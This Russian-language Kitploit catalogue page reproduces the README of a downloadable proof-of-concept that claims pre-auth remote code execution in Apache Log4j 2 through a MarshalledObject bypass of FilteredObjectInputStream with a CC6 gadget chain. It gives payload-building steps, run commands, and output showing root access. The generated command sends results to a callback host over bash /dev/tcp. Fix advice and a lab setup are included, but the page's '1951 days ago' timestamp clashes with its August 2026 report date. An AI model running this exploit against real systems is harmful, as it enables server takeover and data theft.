Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4j2-rce — Pre-auth RCE через обход FilteredObjectInputStream MarshalledObject в Apache Log4j 2 | Kitploit
Инструменты/GitHubGitHub/hypnguyen1209/log4j2-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Pre-auth RCE через обход FilteredObjectInputStream MarshalledObject в Apache Log4j 2

Репозиторий
1951 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обход FilteredObjectInputStream в Log4j

RCE без аутентификации на любом Java-сервисе, который десериализует LogEvent через FilteredObjectInputStream от Log4j. Учётные данные не требуются.

Сообщено как GitHub issue #4255 24 августа 2026 года.

Что делает

Log4j поставляет FilteredObjectInputStream (FOIS) как безопасную обёртку десериализации. Он переопределяет resolveClass() с белым списком, чтобы пропускать только org.apache.logging.log4j.*, java.lang.*, java.util.* и несколько явно указанных классов.

Одним из таких явных классов является java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- проблема
        ...);

MarshalledObject.get() создаёт новый, обычный ObjectInputStream внутри. Без фильтра. Всё, что обёрнуто внутри MarshalledObject, десериализуется без каких-либо ограничений, полностью обходя белый список.

Log4j сам выполняет такую обёртку. LogEventProxy (сериализационный прокси для каждого LogEvent) хранит сообщение события в поле MarshalledObject<Message>. При десериализации он вызывает marshalledMessage.get() для восстановления сообщения. Этот вызов создаёт нефильтрованный поток. Игра окончена.

Как обходится FOIS

Фильтр видит только описания классов верхнего уровня в потоке:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS проверяет LogEventProxy (пакет log4j, разрешён), MarshalledObject (в белом списке) и byte[] (примитив). Всё проходит. Цепочка гаджетов CC6 спрятана внутри MarshalledObject.objBytes как необработанные байты. FOIS её не видит.

Когда выполняется LogEventProxy.readResolve():

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // нефильтрованный ObjectInputStream
        } catch (final Exception ex) {
            // игнорируем
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() создаёт обычный ObjectInputStream, цепочка CC6 срабатывает, и команда выполняется. Блок catch проглатывает ClassCastException, когда результат гаджета не является Message, поэтому сервер отвечает нормально. Ни ошибки, ни записи в журнале.

Для сравнения, ObjectMessage делает это правильно:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // создаёт ФИЛЬТРОВАННЫЙ внутренний поток
}

LogEventProxy должен использовать тот же шаблон, но не использует.

Как работает атака

root@kitploit:~
Атакующий                                   Цель (приёмник на основе FOIS)
   |                                              |
   |  HTTP POST /log                              |
   |  Тело: сериализованный LogEventProxy         |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ пакет log4j
   |                   ├── resolveClass(MarshalledObject)  ✓ белый список
   |                   └── resolveClass(byte[])            ✓ примитив
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   БЕЗ ФИЛЬТРА
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

Сервер отвечает 200 и обрабатывает событие так, как будто ничего не произошло.

Конструирование полезной нагрузки

Суть в том, чтобы поместить цепочку CC6 внутрь MarshalledObject.objBytes без её преждевременного срабатывания.

GadgetMessage реализует Message и переопределяет writeReplace(), чтобы вернуть гаджет CC6:

  1. Создайте Log4jLogEvent с GadgetMessage в качестве сообщения.
  2. Сериализуйте его. LogEventProxy.writeObject() вызывает marshall(message), который передаёт GadgetMessage в конструктор MarshalledObject.
  3. Конструктор сериализует GadgetMessage. Срабатывает writeReplace() и подставляет HashSet CC6.
  4. Теперь MarshalledObject.objBytes содержит цепочку CC6. GadgetMessage никогда не появляется в передаваемых данных.

GadgetMessage существует только на стороне атакующего. Его не нужно иметь в classpath цели.

Затронутые версии

КомпонентУязвим
log4j-api (FilteredObjectInputStream)2.11.0 — 2.24.3
log4j-core (поле MarshalledObject в LogEventProxy)2.8.0 — 2.24.3

Цели также нужна библиотека гаджетов в classpath. Этот PoC использует Commons Collections 3.2.1 (цепочка CC6).

Запуск

Требования: Java 11+, Maven, Python 3.10+, Docker (только для лаборатории жертвы)

Сборка и запуск жертвы:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

Сборка эксплойта (или позвольте poc.py сделать это при первом запуске):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

Запуск:

root@kitploit:~
# --lhost — ваш IP, доступный с цели
# для Docker-лаборатории на том же хосте используйте IP моста docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

Вывод:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

Пользовательский порт обратного вызова:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

Как работает poc.py

  1. При первом запуске вызывает mvn package в exploit/ для компиляции PayloadGenerator и загрузки зависимостей. При последующих запусках пропускается.
  2. Запускает java -cp exploit/target/... PayloadGenerator <cmd> на хосте. Выводит base64-сериализованный LogEvent с CC6 внутри MarshalledObject.
  3. Открывает TCP-слушатель на --lport (по умолчанию 9999) для приёма вывода команды.
  4. Отправляет необработанные байты как HTTP POST на конечную точку /log цели.
  5. Полезная нагрузка выполняет команду на цели и передаёт вывод обратно слушателю через bash /dev/tcp.

Файлы

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # скрипт эксплойта
├── exploit/                        # атакующий (запускается на хосте)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message с writeReplace()
└── lab/                            # жертва (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # HTTP-конечная точка с использованием FOIS

lab/ — жертва. HttpLogReceiver — HTTP-приёмник журналов, использующий FilteredObjectInputStream. Конфигурация по умолчанию, без отладочных флагов, без искусственных слабостей. Commons Collections в classpath как реалистичная транзитивная зависимость.

exploit/ — инструментарий атакующего. PayloadGenerator собирает сериализованную полезную нагрузку на хосте. Никогда не касается контейнера жертвы.

Исправление

  1. Удалите java.rmi.MarshalledObject из REQUIRED_JAVA_CLASSES.
  2. Замените поле MarshalledObject<Message> в LogEventProxy на byte[], сериализуемое через SerializationUtil.writeWrappedObject() / readWrappedObject(). Это тот же шаблон, который ObjectMessage уже использует правильно.

Версии Commons Collections

CC 3.2.1 и более ранние: InvokerTransformer сериализуется свободно. CC6 работает как есть.

CC 3.2.2 (ноябрь 2015): Добавлена защита сериализации в InvokerTransformer, которая блокирует цепочку, если org.apache.commons.collections.enableUnsafeSerialization не установлен в true.

Обход фильтра существует независимо от версии CC. Защита CC — это эшелонированная оборона на уровне гаджетов, а не исправление сломанного фильтра. Любая другая незащищённая библиотека гаджетов (Groovy, BeanShell, Spring Beans и т. д.) позволяет выполнить ту же атаку.

Очистка

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

Правовая информация

Только для авторизованного тестирования. Получите письменное разрешение перед запуском этого против чего-либо, что вам не принадлежит.

Скачать инструмент